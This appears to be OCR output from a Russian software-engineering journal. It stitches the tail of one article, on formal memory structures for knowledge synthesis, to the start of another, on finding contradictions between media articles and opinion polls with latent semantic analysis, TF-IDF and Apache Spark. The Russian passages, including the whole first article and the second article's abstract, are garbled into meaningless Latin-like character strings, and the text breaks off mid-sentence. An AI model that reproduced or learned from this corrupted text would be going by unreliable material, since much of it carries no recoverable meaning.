MEepPBBI M3 KJIACCOB, CBS3BIBAEMBIX OTHOIIEHUEM.
Ecmm E=(Ou(l-(1-(0ul)u0)*1-(0ul)))) — pe-
I'YJISIPHOE BbhIpaxkeHue, MPeACTaBIsIIoIIee CEPUI0 MTPO-
CTBhIX 3HAaHUM, TO YEThHIPE TaKUE CEPUHU, MpeaCcTaB-
JIeHHble obsactamu D(E, 1), D(E, 01), D(E, 001)
u D(E, 0001), uHTerpupytoTcsi B onucaHue obJa-
ctu namMsaAtTu Do Eullo Eu001o EUO0001E, 1).
IMocnenHsist o61acTh M300paxkeHa Ha puc. 3, 6. OHa
COOTBETCTBYET AOMEHY MOp(pU3MOB 3HaHUl. CTpyK-
Typa MaMsTU 3TOro JOMEHa OMNpeaessieTCsl BbIpaxKe-
HueMm (((SM, ® SM,) ® SM,) ® SM,).

Ha puc. 3, 6 Bepmuunsl 1, 01, 001 u 0001 aBasoTcs
KOPHSIMU YEThIPEX CEPUIA, KOTOPbIE UMEIOT OUHAKOBYIO
CTPYKTYpY. B cepusix pazmeniaeTcsi onucaHue conepxa-
HUSI OTIACJIBHBIX pa3aesioB OoHToJoruu. IlepBas u3 cepuii
n300paxkeHa AeTaJbHO U COCTOUT U3 MPOCThIX 3HAHUA.

PaccmoTpum omucanue ob6aacTu nmamsiTu, B KO-
TOPOl CMHTE3UPYIOTCI CTPYKTYpbl 3HAHUM, Tepe-
HOCHMBIX 3aTeM B B-2 s peasiv3alyu mpoueccoB
KOHCTpyHpoBaHus peanusaunii ueneit MC. @opmat
9TON CTPYKTYpPhl COOTBETCTBYET CyMME CEpUil Mpo-
CTBIX 3HAHUN.

IMpouecc popMupoBaHUS CEMENCTB MPOCTHIX 3HA-
HU, moaAroTaBJIMBaeMbIX 1Jis1 TiepeHoca B B-2, peanu-
3yeTcs B ITaMSITU KOMITIOHeHTa B-3, 0003HaueHHOI1 Kak
D3. OH BKJIIOYaeT MPOXOXJACHUE HECKOJIbKUX 3TANOB
00pabOTKM OTAECAbHBIX CEPUIl TPOCTHIX 3HAHUH (OMU-
CaHU# cuTyalluii), IepeHoCuMbIX B B-3 u3 A-3.

KoncTpyupyemsbie B D3 37eMEHTHI CEpUil 3HAHU
WHTETPUPYIOT CEMENMCTBA MPOCTHIX 3HAHU, JOCTATOU-
Hble 1J1s1 cuHTe3a peanusauuii ueneit UC. Takue 3Ha-
HUS colepKaT Cepuy HayaJlbHBIX JaHHBIX peasiu3ye-
MBIX 1ieJiell U He0OX0oauMble (hparMeHThl COAepKaHUS
(oHTOJIOTMHU) 0OJacTu 3HaHuUl. [Ipu 3Tom pparmeHT
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Puc. 4. ®parMeHT OHTOJIOTHH PO eCCHOHATBHBIX 3HAHUM

OHTOJIOTMH M3BJIeKaeTcd n3 D2, a cemeiicTBa Hayallb-
HBIX JaHHBIX liejeit u3Biekaercs us DI.
PaccmoTpuM mpumep KapTel 3HAHW#, Tpen-
CTaBJSIOLIEN OOLIMKM (PparMeHT OHTOJOTHUHU 3ajaay.
Kinacchl 3HaHUM, cocTaBasIoNIMe JAaHHYIO KapTy,
TPYNIUPYIOTCS B O0JIACTH nOHAMUU, ¢opmya, 3ada4
u memodos. IlpumMep pparmMeHTa KapThl 3HAHUI OIS
MOZIEIMPOBaHUS TIpoliecca GOPMUPOBAHMS CEMAaHTH-
YeCKOM CTPYKTYpbl, HOATOTABIMBAEMON K mepemaye
B B-2, nmpuBeneH Ha puc. 4. Kjaccel 1 OTHOILIECHMS,
COCTaBJISIONINE NJAHHYIO KapTy 3HAHUH, TTO3BOJSIIOT
¢opMupoBarh (pparMeHTHl OHTOJIOTUU COIEPKAHMS
00J1aCTH 3HAHU I, OTHOCSIIMECH K LEJISIM, aKTUBAPYE-
MBIM CepUSIMM HavaJIbHBIX TaHHBIX. Takue dparmeH-
TBI BKJIIOYAIOT ONMMCAHMWS METOIOB MACHTU(DUKALINN
u peanusauuu uenei (3agay) MC, cooTBETCTBYIOIINX
CepUSM IIPOCTHIX 3HAHUH, COCTABIISIONINX Pe3yIbTaT
JMEKOMITO3UIIUU OMTMCAHUUN OTIEIIbHBIX CUTYAIIAN.
IIpuBeneHHast KapTa 3HAHUM MPUMEHUMA IIJIST pa3-
HBIX MPEeIMETHBIX 00JacTeil. DIeMeHTapHbIe 3HAHUS
JJIs1 (pparMeHTa OHTOJIOIMU 3a4aI0TCSI UMEeHaMU U pop-
mysnamMu. CBs3Has CTPYKTypa TaKUX 3HAaHUI OIpe-
nenser hopMaInM30BaHHOE COAEpXKaHUE MPEeaIMETHOMN
obnactu. Martemarudyeckue (QOPMYJIbl pa3HOTO THUIIA
W aJITOPUTMBI pean3aliii METOIOB pean3allnu 1esieit
obpabaThiBaloTcsa MexaHu3MaMu BeiBoda. IlocienHue
MOIETUPYIOT CXeMbI MBIIIJICHUS B CTPYKTYPax IMaMsTH.
IIpouecc opmMupoBaHus CTPYKTYp 3HAHUM, TIepe-
JaBaeMbIX B B-2, BKiiouaeTr pacno3HaBaHue (UIAEH-
TuduKanuio) uejei (3agady), HaXxoXIeHUEe MEeToaa
(anroputMma) ee pelreHus. s 3TOro npuMeHSIIOTCS
aJIeMeHTHI KiiaccoB "MMmeHa 3amau”, "MIMeHa moHsaTuit”
u "@opmyinbl”. Cepuy HauaJIbHBIX JAHHBIX 33J1a10T Orpa-
HUYEHUS IS TTapaMeTPOB 00J1aCTU 3HAHMH, TIPEICTaB-
JIEHHBIX B KJlacce "MmeHa nmoHgatuit". OrpaHudeHus
MIPUMEHSIIOTCS IS HaXOXIEeHUST 3HAaYeHUI (hopMys

pacIto3HaBaHMS 3a/1a4 ¥ METOIOB UX pelireHus. Bech mmpo-
1Liecc peanu3syercs B o0nactu mamsitu D3 kommoHeHTa B-3.

BapmaHT Takoro mpoiiecca COCTaBISIOT CIeAyIO-
e TeUCTBUS:

1) u3BneueHue cepuu GoOpMyJi, SIBISIOLIUXCSI yC-
JIOBUSIMU aKTMBAILIMM OTAEJBHBIX 3a1a4 (M3BJIEKAIOT-
cg u3 xJjacca "@opMyJibl" ¢ HOMOILIBIO MOAXOASIIErO
Mopdu3Ma CeJIeKINN);

2) 3aMeHa KaxXAou Takoil (pOpMYJIBI Ha OKpPecT-
HOCTb I1apaMeTpoB (OpMYJIbl (M3BJIEKAIOTCS U3 Kjlacca
"UmeHa oHATH");

3) moucK 3HaYeHUI mapaMeTpoB (pOpMyI YCIOBUIA
aKTUBalMU IIpo¢eCCUOHaJIbHBIX 3a1a4 (U3BJIEKAIOTCS
W3 CEpUM HavaJIbHBIX TAaHHBIX CUTYallMM, COAEpKa-
weiicsa B D1);

4) BIYMCIIEHME 3HAYEHU I HEAOCTAIOUIMX ITapaMe-
TpOB (OPMYJI aKTUBALIUU LieJIei (3a4a4) C ITOMOIIbIO
2]IeMeHTOB KJiaccoB "Mopmyinbl” u "MMeHa noHsaTHit";

5) BhIYMCIIEHUE 3HAUYCHUI (DOPMYII, 151 KOTOPBIX
JIOCTAaTOYHO HAYaIbHBIX JAaHHBIX, U UACHTUDUKALINS
3ajJa4, KOTOpbIe TPeOYIOT pelieHus (110 BEIpaxKeHU SIM
u3 kyacca "@opmyisl");

6) BEIOOP METOAOB (AJITOPUTMOB) PELLIEHUS PACITO3-
HaHHBIX 3a7a4 (¢ momolblo KiaccoB "MmeHa 3agaq”
u "MMeHa MeTonon");

7) mocTpoeHue Cepuii 3HAYCHU MapaMeTpOB s
OTAEIbHBIX OTOOPAHHBIX METOIOB (aJITOPUTMOB) U Ha-
XOXJIeHHE (BEIYMCIICHUE) 3HAYECHU I HeIOCTAIOIIUX M0~
HSITHI C TIOMOIIBIO HAYaJIbHBIX JTAHHBIX U (DOPMYJI, BBI-
YMCJICHUS 3HAaYCHW 1 MOHSITUH (AaHAJIOTUYHO AeHCTBUIO 4
¢ momol1ibIo Kiaaccos "@opmynsl” u "MMeHa noHaTuit").

dopmMar 061acTH MaMsITH, B KOTOPOI COCTaBIISICT-
csl OTHEeNbHOE 3HaHUE, TIepeHOoCuMoe B B-2 miist cuH-
Te3a pelleHus Leau (3a1aum), MpeacTaBIeHHON TaKUM
3HaHueM, numeet Bua (M, ® M) ® (S ® M,). 3nece
M, ® M, — uMeHa 3a1a4u U BEIOPAHHOTO METOHA
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ee peweHus; S® M, — cepusl HayaJbHBIX TaHHBIX
MEeTO/la, COCTABJISIONIMX 3HAYEHHS U YCJIOBUS Ha Ta-
paMeTphl MeToJa.

Dopmyna cTpyKTyphl NamMsITu o6aacTu D3 BKIIO-
yaeT (parMeHT, ONpeAeSTIONINi CTPYKTYpY 00J1acTu
MaMsITH, B KOTOPOI BBIYMCIISIOTCSI 3HAYEHM I MapaMe-
TPOB YCJIOBUI aKTYyaJIbHOCTHU 3a1a4 1 ITapaMeTPOB BbI-
OpaHHBIX METOAOB peleHusi. O603HaYMM TaKoit par-
MmeHT Kak A. Torna ¢opmyna odnactu nmamsatu B D3,
WCIIONIb3YyeMO IS CMHTe3a 3HaHWM, IepeaaBaeMbIX
B B-2, mpencrasnsieTca kak (M, @ M) ® (S® M) ® A.
®parmMeHT S ® M| MoCaeAHEro BbIPaXKeHUSI — 3TO Ce-
pUS IPOCTHIX 3HAHWA, SIBJISTIOITUXCS NCXOMHBIMHY JaH-
HbIMU 1eau (3agauu). Cepust nmepeHocsTed us DI mno-
cie uneHTudukanuu eau (3agaun). Koncrpykuus A4
TpeACTaBIsIeT YHU(GUIIUPOBAHHOE OITMCAHNE CTPYKTY-
pbI TAaMSITU, IPUMEHsIEMOe 001l cxeMoli 00paboTKH
(bparMeHTa OHTOJIOTMH, ITPUBOASIIETO K HAXOXICHU IO
3HAYEHW I TTapaMeTpPoB, TiepeaaBaeMbIX B B-2 1 HeoO-
XOAUMBIX JJISI peajin3aluy Ueau (3agadyn).

[MpuemaemMyto CTpyKTypy NaMsiTu odactu A 3agaeT
BbIpaxeHue B, @ B,. 3xech nepBoe caaraeMoe omnpese-
JIsieT 00J1acTh MaMsITH, B KOTOPOW MOAEIUPYIOTCS Aeii-
ctBus 1) — 5), a BTopoe — 0061aCTH MaMsITU, B KOTOPOiA
peanusyiorcs aeictsus 6) — 7). B B, peanusyetcs pe-
KypCUBHAas cXeMa HaxXOXICHWS 3HAYeHW I mapaMeTpOB
dopmy, ycaoBurii akTuBaIiK MpodeccruoHaTbHBIX 3a-
nay. IIpouecc B 9Toil 0671aCTU CBSI3aH C MPOBEPKOM
BBITIOJTHUMOCTH YCJIOBUI aKTHUBAILIMM OTOEJIBHBIX 3a-
nad. 17151 3TOTo BCSIKOM 1IEJTM CTaBUTCS B COOTBETCTBUE
OKPECTHOCTH ITTyOMHHI 1 (01), cocTaByieHHas (popmyiia-
MU akTUBauK. DOpMYITBI TOTTOTHSIIOTCS 3HAUCHUSIMHU
(M) unu cTpyKTypaMH, MO3BOJSIOIIMMHA HAWTU 3TU
3HaYeHMsI, C UCTIOJIb30BaHMEM 3HAYCHU I TTapaMeTPOB
bopmyn. Cniucku mapamMeTpoB U3BJIEKAIOTCS U3 KJlacca
"Umena nousiTuit". 3Ha4eHU S ITapaMeTPOB U3BJICKAIOT-
¢S U3 cepyil HauaJIbHBIX TaHHBIX. 7151 9TOro hopMyisl
TpaHC(HOPMUPYIOTCA B OKPECTHOCTU (hOPMYJT TIyOu-
HBbI 1, rpaHUIIBI KOTOPBIX 0OPa3yoT MMEHA MapaMeTpOB
dopmyn. danee mapamMeTpsl MO0 3aMEHSIIOTCS Ha UX
3HaYeHMs (M3BJIeKaeMble M3 HaYaJIbHBIX JaHHBIX), THOO
BBIYMCJISIOTCSI C MCIIOTb30BAaHMEM 2JIEMEHTOB Kiacca
"@opMynEI" ¥ ceprii HaYaJIbHBIX JaHHBIX 1Ieieit (3a1ay).

[MapameTpsl, 3HaUEHUST KOTOPBIX He TIpelacTaBlie-
Hbl Ha4aJIbHBIMU NaHHBIMU (M;), JOMOTHAIOTCS Cce-
pUSIMU OKPECTHOCTEN MapamMeTpoB TJYOUHBI 2 (02).
OKpeCcTHOCTH KaxXI0i Cepuy COCTaBISIOT QOPMYITbI
BBIYMCIIEHUST 3HAYEHUW TTapaMeTpoOB, a 3aTeM Cepuu
napamMeTpoB Kaxaoi Takoi ¢opmynbl. Cepun ¢op-
MYJ U TTapaMeTpoB (HOPMYJT U3BJIEKAIOTCS U3 KJIaCCOB
"Umena mapametpoB” u "®opMyme".

3aTeM nmapaMeTpaM CTaBsSITCSl B COOTBETCTBHE MX 3HA-
YeHU s, U3BJeKaeMble U3 Cepuil HadaJbHBIX JaHHBIX.
71 mapamMeTpoB, 3HaYEHU ST KOTOPbIX OTCYTCTBYIOT, IO~
BTOPSIIOTCS TIPUBEACHHBIE AEUCTBUS. 171 3TOTO IIprMe-
HsieTcsl 001acTh MaMsITH, (popMaTt KOTOpoii onpeaesieT

BeIpaxeHue M, US ® O°. Ecnu 11 HeKOTOPoii (hop-
MYJIbl BCEM MapaMeTpaM 3Toil (popMyJibl MOCTABIECHbI
B COOTBETCTBUE 3HAUYEHUSI, TO BBITTOJHSIETCSI BhIUMCIIE-
HUe 3HaYeHUST POPMYJIBI M 3aMeHa pa3BEePHYTOMN Ceprum
OKpecTHOCTeil (hopMyJ1, BHIUYUCSIIOIIMX 3aJaHHOE T10-
HSITUE, HA MIPOCTOE 3HAHUE O 3HAYECHUU NOHATUS (M,).
ITpuBeneHHBI MpolieCC COOTBETCTBYET cXeme,
¢dopmaibHOE OIMKUCaHUe KOTOPOIt ComepKUTCs B pabo-
te [4]. mybuHa ¢popMupyemMoro aepeBa CTPYKTYPHOTO
MpeacTaBieHus] 3HAaHUSI OrpaHUYMUBAETCS YCIOBHUEM
3arpeTa Ha POIOIKEHM S IIOCTPOCHMSI, €CJIU JIJIST BBI-
YHUCICHUS 3HAYCHUST HEKOTOPOTO TOHSITUS AeIaeTCs
TOMBITKA BEIYMCIIEHUS 9TOTO Xe MoHATus. Popmyna
MaMsITU JIJI paCCMOTPEHHOI'0 Mpoliecca uMeeT BU/

SRO'®(M,U(S® (0" (M, US ®0**)))).

CrpyKTypy obyiacTu naMsiTu B, omnpejesser aHa-
JnorunvyHasi popmysa. OHa uMeeT BUJI

S ®(0*® (M, U(S ® (0> ® (M, US ®0)*)))).

B »T0i1 obmactn hopMupyeTcsl cepusi OKPEeCTHO-
cTeil rmyouHBI 2. OKPEeCTHOCTU COCTABIISIIOTCS IS
Lenei (3agay), HEOOXOAUMOCTh aKTUBAILIMU KOTOPBIX
ycTaHOBJIeHa B B|. 3aayaM COOTBETCTBYIOT METOJbI
pelleHusI, a METOAAM — ITapaMeTpPhl, 3HAUYEHUS KO-
TOPBIX HEOOXOAUMBI AJIsl pealudauuu MeToaoB. I1a-
paMeTphl 3aMEHSIOTCS Ha 3HAaYeHUsI, KOTOphIe JTNOO
cozepxarcs B CEpUM HadyaJIbHBIX TaHHBIX (M), Tub0
BBIUMCJISIIOTCS] aHAJIOTUYHO PACCMOTPEHHOMY MpOliec-
cy B B,. [lnst aTOro npumMeHsieTcs CTpyKTypa namsiTi
S®(0*® (M, uS®0%)*).

3akntouyeHune

Knacc peryasipHbIX 1ToMeHOB MOP(hU3MOB 3HAHU U
MO3BOJISIET pa3padaTbiBaTh OMUCAHUSI CTPYKTYP MaMsi-
TH, UCIIOJIb3YEMBIX CEMeICTBaAaMU ITPOLIECCOB CUHTE3a
3HaHuii B komnoHeHTax MC. DToro kiaacca gocra-
TOUYHO JJI51 BHICOKOYPOBHEBOTO MOAECIUPOBAHUS TUa-
rpaMM IIpOLECCOB, MPEACTABISIEMbIX TUarpaMMaMu
MOp(PU3MOB U JOMEHOB MOpP(GU3MOB (POpMaIN3MOB
3HAHUU JIJIS aHAJIOTOB (DYHKIIMOHAJIBHBIX CYIITHOCTEN U3
pasHBIX obj1acTell MaTeMaTUKU, pa3BUBAIOIIUX MPUH-
LIMMBI TIOAX0AAa TEOPUU KATEeropuii K MOAETUPOBAHUIO
rporeccoB [6]. MHoroo6pasue peryisipHbIX 001acTeit
ornpezesieT TOMOJOrMYecKyo cTpyKTypy namsitu UC.
DTO MO3BOJISIET UCIIOIb30BaTh ITOHSITUS U METOIBI 00-
1LIei TOMOJOTUM JAJIs1 UCCISAOBAHUSI U MPOSKTUPOBAHUS
CXeM YIIpaBJICHUS MaMSIThIO B TAKUX cucTeMax. Monenu
HepapXUUeCcKNX CTPYKTYP NaMsTH JJig 3HaHU# B op-
MaTe CeMaHTUUYECKUX UepapXUil TOMYyCKalOT UCIOJb30-
BaHME B KaUeCTBe dJjieMeHTa hopMaiu3aluy U MOAEU-
pOBaHUS KOHUEMUMUU COOTHOLIEHUSI CeMaHTUYECKOM
MmaMsITU U CO3HAHUS, MpeAIoXKeHHO! B padoTte [7].
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The quality of managerial decision-making is significantly influenced by the inconsistency and heterogeneity of
information obtained from various sources with the inability to unambiguously determine their reliability, for example,
social networks, electronic media, opinion polls, as well as the types of representations used, for example, texts,
graphs or tables. The purpose of the work was to conduct theoretical and experimental studies that ensure the choice
of methods and their implementation in the algorithm for processing multiformat data to solve the problem of inconsis-
tency and heterogeneity of information. To achieve this goal, the following tasks were solved: comparative analysis of
the possibilities of methods for finding contradictions in heterogeneous information: latent-semantic analysis, neural
networks and others; development of an algorithm for intelligent processing of big data using the Apache Spark mod-
ule; evaluation of the algorithm’s performance for obtaining a qualitative result within a given time interval. As a result
of the research, in the framework of solving the problem of finding contradictions for processing media publications,
it is proposed to consistently use latent semantic analysis to select articles on a given topic, and then the method of
determining the tonality of articles, and for processing the results of sociological surveys, the method of calculating
the integral indicator for the question selected from the questionnaire. Based on the selected methods, a multi-step
algorithm was developed and then implemented in Python using the Apache Spark platform in the form of a software
product registered in the Register of Computer Programs. Based on the results of the experiments conducted in the
work, it was concluded that the use of the Apache Spark module with the developed algorithm makes it possible
to ensure an effective search for contradictions in information with the fulfillment of the requirements for efficiency.
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ANropuTm NoMcKa NpoTNBOPEYMIA B pasHotiopMATHDIX
NaHHbIX ¢ ncnonb3osannem Apache Spark

Ha kayecmeo npuHsmus ynpaeneH4ecKux peweHul cyuiecmeeHHO OKa3bigaom e/UusiHUE npomueo-
pequsocmb U pazHopPoOHOCMb UHGhopMayuu, nosydaemoll U3 pa3uyHbIX UCMOYHUKOB, C HE803MOXHO-
CMbH 00HO3HAYHOR20 orpedesneHus ux 00CmMo8epHOCMU, HarnpuMep, coyuasibHblie Cemu, 371eKMPOHHbIE
CMMU, coyuonoeuyeckue onpockl, a makxe npuMeHsieMbix 8u008 rnpedcmassieHull, HarnpuMep, MeKcmos,
epachukos unu mabnuy. Llenb pabomsl, pe3ynbmamsl komopol npedcmaegsieHbl 8 cmambse, — rpose-

! The article is based on the materials of the report at the Seventh International Conference "Actual problems of Systems and Software

Engineering” APSSE 2021.
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OeHue meopemu4ecKux U 3KcrnepuMeHmarbHbIX uccriedogaHull, obecrneqyusarouux ebibop Memodos
U ux peanusauyuu 8 aneopumme obpabomeku pazHoghopmMamHbix 0aHHbIX Ons peuweHuUs npobnemsi rpo-
mueopeyusocmu U pa3HopodHocmu uHgopmayuu. B pesynbmame uccrnedosaHull 8 paMKax peweHusl
npobriemsl rioucka npomusopeyull 0ns obpabomku nybnukayuti CMU npednoxeHo nocriedosamersibHO
ucrnonb3o8ame f1lamMeHMHO-ceMaHmuyeckul aHanus 0nss ombopa cmamed no 3adaHHOU memamuke,
a 3amem memo?d onpedenieHus moHanbHocmu cmamed, a 0515 06pabomku pe3yibmamos coyuoroauye-
CKUX 0rpocos — Memo0 pacyema uHmeapasbHO20 rnokasamersisi o 8biI6paHHOMY U3 aHKembl 80r1POCY.

KnioueBble cnoBa: pa3HopoOHas UHhopMmayus, rameHmMHo-ceMaHmu4yecKul aHasu3, moHanbHOCMb

mekcma, aneopumm rioucka, Apache Spark

Introduction

Currently, when processing big data, many
mathematical methods are used to extract useful
information obtained from different data sources that
are heterogeneous and diverse in structure. It provides
the ability to improve the efficiency of decision support
processes [1]. The paper proposes a solution to the
problem of inconsistency (when some sources contradict
others, and it is impossible to unambiguously determine
a reliable source) and heterogeneity of information
(when information from different sources: electronic
media, sociological survey, etc. comes in a different
form: texts, graphs and tables etc.) by choosing methods
and their implementation in the algorithm for processing
multiformat data. To achieve this goal, theoretical and
experimental studies were carried out, including a
comparative analysis of the capabilities of the selected
methods, the development of an algorithm for intelligent
processing of big data using the Apache Spark module,
an assessment of the algorithm’s performance to obtain
a high-quality result in the required time.

To solve the problem considered above, an analysis
of the literature was carried out [1—4], as a result of
which the following methods were chosen:

o neural networks;

o latent semantic analysis.

Neural networks are a method that belongs to the
class of machine learning methods, the characteristic
feature of which is not direct obtaining a solution,
but based on training on several examples of similar
problems. During the application of the method,
previously unknown and practically useful knowledge
for decision support is discovered in the data. The
method is capable of working with various data formats,
including textual information of various structures.
Neural networks need not only be programmed, but
also trained based on the solution of several similar
problems. Learning is one of the main advantages of
neural networks over traditional algorithms [5]. Training
neural networks consists in finding the coefficients of
connections between the nodes of the network. During
training, a neural network is able to identify complex

dependencies between input and output. It means that
in case of successful training, the network will be able
to return the correct result based on data that was absent
in the training set.

Neural networks have a wide range of applications.
They can be used to build algorithms for pattern
recognition, classification, clustering, approximation,
forecasting, solving optimization problems and analyzing
data for hidden relationships [5, 6]. To solve problems
related to the processing of textual information, neural
networks are used for the following [7]:

e automatic annotation;

e extraction of key concepts;

e text navigation,;

e search for associations;

e determination of the tonality of the text;

e automatic selection of sets of semantically similar
documents among a fixed set.

The main advantage of neural networks is their
fault tolerance, that is, if a part of the neural network
is damaged or deleted, only the quality of the result
obtained is reduced, but not completely lost. Also, if a
part of the network is disrupted by training, the neural
network can be restored to its original state.

Despite the broad capabilities of neural networks,
they also have disadvantages [8]:

— to build a model of neural networks, it is required
to perform a multi-stage adjustment of internal elements
and connections between them;

— there are problems arising in the preparation of a
training sample associated with the difficulty of finding
a sufficient number of training examples;

— it often takes a lot of time to complete the
training procedure, which does not allow the use of
neural networks in real-time systems;

— the impossibility of predicting the result of
the trained neural network, since the mechanism for
obtaining the output is opaque for the user.

Latent semantic analysis (hereinafter referred to as
LSA) is a method of processing information in natural
language, which determines the relationship between
documents and concepts encountered in them, and also
allows you to determine the subject of texts and classify

"MporpammHas uHxeHepusa" Tom 13, Ne 5, 2022




them. This type of analysis is intended to work with
any format of text information, which is relevant in the
processing of multi-format data. The method is used
to extract context-sensitive values of lexical units using
statistical processing of large volumes of texts. LSA can
be compared to a simple kind of neural network. In this
case, the neural network will consist of three layers: the
first layer contains a set of words (terms), the second —
a set of documents under study, and the third, hidden
layer, is a set of nodes with different weights connecting
the first and the second layer [9, 10].

LSA uses a "term-document” matrix describing the
dataset used to train the system as initial information.
The elements of this matrix usually contain weights that
take into account the frequency of use of each term
in each document and the participation of the term in
all documents.

The main advantage of the LSA method is the
identification of hidden dependencies within a set of
documents. Also, the method has a linear mechanism
for obtaining the result, based on the singular value
decomposition of the "term-document” matrix.

Among the disadvantages are the following:

— when using the LSA method, it is assumed that the
distribution of terms and documents is close to normal,
although most often there is a Poisson distribution [9];

— it is necessary to use a qualitatively compiled
thesaurus on a specific topic, for the possibility of
interpreting the natural language of a PC.

Comparative analysis of the capabilities of neural networks
and latent semantic analysis for the most appropriate analysis

method in the information presented in table 1.
Table 1

Comparative analysis of opportunities method of latent semantic
analysis and neural networks

The
Neural method
Capabilities of latent
networks .
semantic
analysis
Ability to work with various formats of n "
text information
The presence of a training stage, before " _
obtaining a true result
Transparency of obtaining results - +
Operational data processing regardless _ _
of the amount of information
Ease of interpretation of the results + +
Ability to work with any amount of _ "
information
Ease of software implementation - +
nn 3
Result:
— 4 2

As a result of the comparison, the following
conclusion can be drawn: to solve the problem posed
in the work, the LSA method is chosen the most suitable
for use, since it has the ability to work with any text
formats and has a convenient mechanism for obtaining
results.

Analysis of mathematical methods chosen
to solve the problem of finding contradictions
in heterogeneous information

The results of sociological research by RPORC [11]
and Internet sites of mass media in the region [12]
on the topic "The effectiveness of management of the
country’s regions in the socio-economic sphere" were
considered as data sources in the work. To search for
contradictions in the information obtained from the
sources under consideration, it is necessary to analyze
the data format (text, tabular, graphic) and, depending
on this, use the appropriate methods and methods of
information processing.

The analysis of the results of the sociological study
(fig. 1) showed that the calculation of indicators of the
effectiveness of management of the country’s regions
in the socio-economic sphere: the index of assessments
of the economic situation, the index of self-assessments
of the material situation, the index of assessments of
the general vector of the country’s development, the
index of life satisfaction is carried out by subtracting
the percentage of responses in two gradations (positive,
average) and the percentage of answers in negative
gradation, since the answers to the questions that form
the indicators are presented in an ordinal scale with
three gradations (positive, medium and negative).

-

How would you assess the current economic
situation in Russia as a whole?
(closed question, one answer,%)

::?‘i , How would you assess the current
good financial situation of your family?
Average 50 (closed question, one answer,%)
Very
bad, 39 Oeallgod | 10
bad
I find it Average ol
difficult to 4
answer Generallybad 29
Index 18 Ifod G
o answer 1

Fig. 1. Fragment of the results of sociological research
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Since the document with the results of the sociological
research has a clearly structured format in the form of
answer tables, it is possible to compile a matrix of the
form W=CxYV:

i v W

¢ 4 G adg
W=lc, a ay ay]|,

C3 4y 4yp a4y

€4 Gy Ay g

where C={c}=1{c, ¢, c;, ¢4} — research category
(lines): ¢; — "Economic situation"; ¢, — "Financial
situation"; ¢; — "Country development"”; ¢, — "Life

satisfaction”; V ={v;} ={v, v;, v;} — answer options
(columns): v; — "Overall good"; v, — "Average"; v; —
"Bad"; the option "difficult to answer" is not considered
when calculating the indicator.

To calculate the generalized indicator, it is necessary
to find for each category the difference between positive
and negative assessments of answer options in percentage
points:

G =a; +a;p—ag

C) =0y T Ay —ay
b

C3 =03 a3 —day

Cq =0y T Ay —Ay3

where ¢,_, — research categories; a; — element of the
matrix W, which determines the value of the number
of respondents who answered a specific version of the
question of the questionnaire (indicated in percentage
points).

To process electronic media data (text information),
it is necessary to use the method of latent-semantic
analysis, the algorithm of which consists of the following
stages (fig. 2) are below.

1. Pre-processing of documents:

e exclusion of stops;

e words and punctuation marks;

=

1. Pre-processing |
of texts

)
ek

2. Extract the
necessary
information

Fig. 2. Stages of the latent semantic analysis algorithm

e exclusion of words that occur once in the text;

e highlighting in terms the stem of the word
(stemming).

2. Extracting the necessary information:

e definition of terms weights;

e construction of the "term-text" matrix, showing
the belonging of a particular term to a specific text.

3. Transformation of the received information:
singular value decomposition of the matrix obtained in
the previous step. As a result, we get the decomposition
of the original matrix into three other matrices.

4. Interpretation of results: selection from a set of
articles those that fit a given condition, on a given topic.

The algorithm of latent semantic analysis can be
formalized and presented in the following form.

Input data:

e D={d}, d=1,i — a set of various media

publications (texts) from several sources;
o S ={(5, 55, ey 85, (S5 83y ey S0}, ST =1, m—

set of terms.

Mass media publications are a collection of text
articles of various structures. A set of terms are two
given dictionaries, one with positively colored words on
a given topic, the other with negatively colored words
extracted from the analyzed articles, where particular
indicators are reflected, and selected as a generalized
indicator, depending on the index of interest in the
management efficiency of the country’s regions in
socio-economic sphere, obtained by expert advice.

It is necessary to construct A =sxd a "term-text”
matrix, where the elements of this matrix are weights
that take into account the frequency of using a particular
term in each text from the set, as well as the presence
of the term in all articles. To determine the weighting
factors, the TF-IDF method is used — a statistical
measure that is used to assess the importance of a term
in a specific text from the analyzed set of articles. This
measure consists of two components TF — a measure of
the frequency of occurrence of words in the document:

3. Transformation of

the received | —

information

4. Interpretation of
the results
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nS
b
Zm L7
where n, — the number of occurrences of the word s in

a specific text d, Zm n, — the total number of words
in a specific text.

TF(s, d) =

| D|
|{dieD|Sedi}|’

IDF(s, D) =log npu n, =0,

where | D | — total number of texts in a set of articles;
|{d. e D|s ed}| — the number of texts from the set
D, in which the word s occurs.

The choice of the base of the logarithm does not
matter, as changing the base of the logarithm will result
in to change the weight of each word by a constant
value.

TF-IDF(s, d, D) = TF(s, d)x IDF(s, D).

When calculating this measure, a large weight will be
given to those words that have a high frequency within
a specific text (article), and with a low frequency of
occurrence in other documents. After calculating the
weights of terms, matrix A will contain rows — indexed
words, columns — articles. Each cell of the matrix will
indicate the number of occurrences of each word in the
corresponding text.

Further, a singular value decomposition is applied to
the constructed matrix A, which consists in decomposing
the original matrix into three others: two orthogonal
and one diagonal:

A=UxMxKT,

where U, KT — orthogonal matrices, whereby KT — is
transposed; M — is a diagonal matrix.

This decomposition is necessary to highlight
the key components of the original matrix, while
removing the information "noise", that is, those
columns and rows, the values of which make the
least contribution to the total product of three
matrices [13]. Thus, the singular value decomposition
makes it possible to isolate the key components of the
original matrix.

After carrying out the latent semantic analysis, we
get a set of articles on a given topic: D = {d, }, d" =1, i.

Then it is necessary to prepare the selected articles
to compare them with the results of opinion polls
and search for contradictions. When analyzing media
publications, each of the articles is considered as the
opinion of the correspondent, that is, one article — one
opinion. This ratio also corresponds to the results of
sociological surveys, namely, one answer to a question
corresponds to the opinion of one respondent. Thus,

the analysis of media publications and the results of
opinion polls is analyzed in two gradations: "positive"
and "negative".

To refer to one of the gradations of the analyzed
articles, tokenization is performed — breaking the
text into words. This procedure is necessary so that
each of the articles can be compared with a set of
particular indicators reflecting the positive and negative
characteristics of the situation in the region, thereby
determining the tone of each of the articles:

q; = Z(S+ € di*) —Z(S’ € d;),

where z (st e df ) — the sum of positively colored words

found in the i-th document; Z(s’ € d,*) — the sum of
negatively colored words found in the i-th document;
g; — assessment of the color of the i-th article.

If g¢; > 0, then the article has a positive tone, if
g; <0 — negative tone.

After analyzing articles and opinion polls, the
results are compared for the selected indicators (G, —
generalized indicator used to analyze media publications,
Gl — generalized indicator used to analyze the results
of sociological surveys):

e if GI, = G, then no contradictions were found
in the documents under study;
o if GI, # Gl then there is a contradiction in the

documents under study.

Thus, to solve the problem of finding inconsistencies
in information, the following actions are performed:

1) media publications are selected on a specific topic
that corresponds to one of the question category from
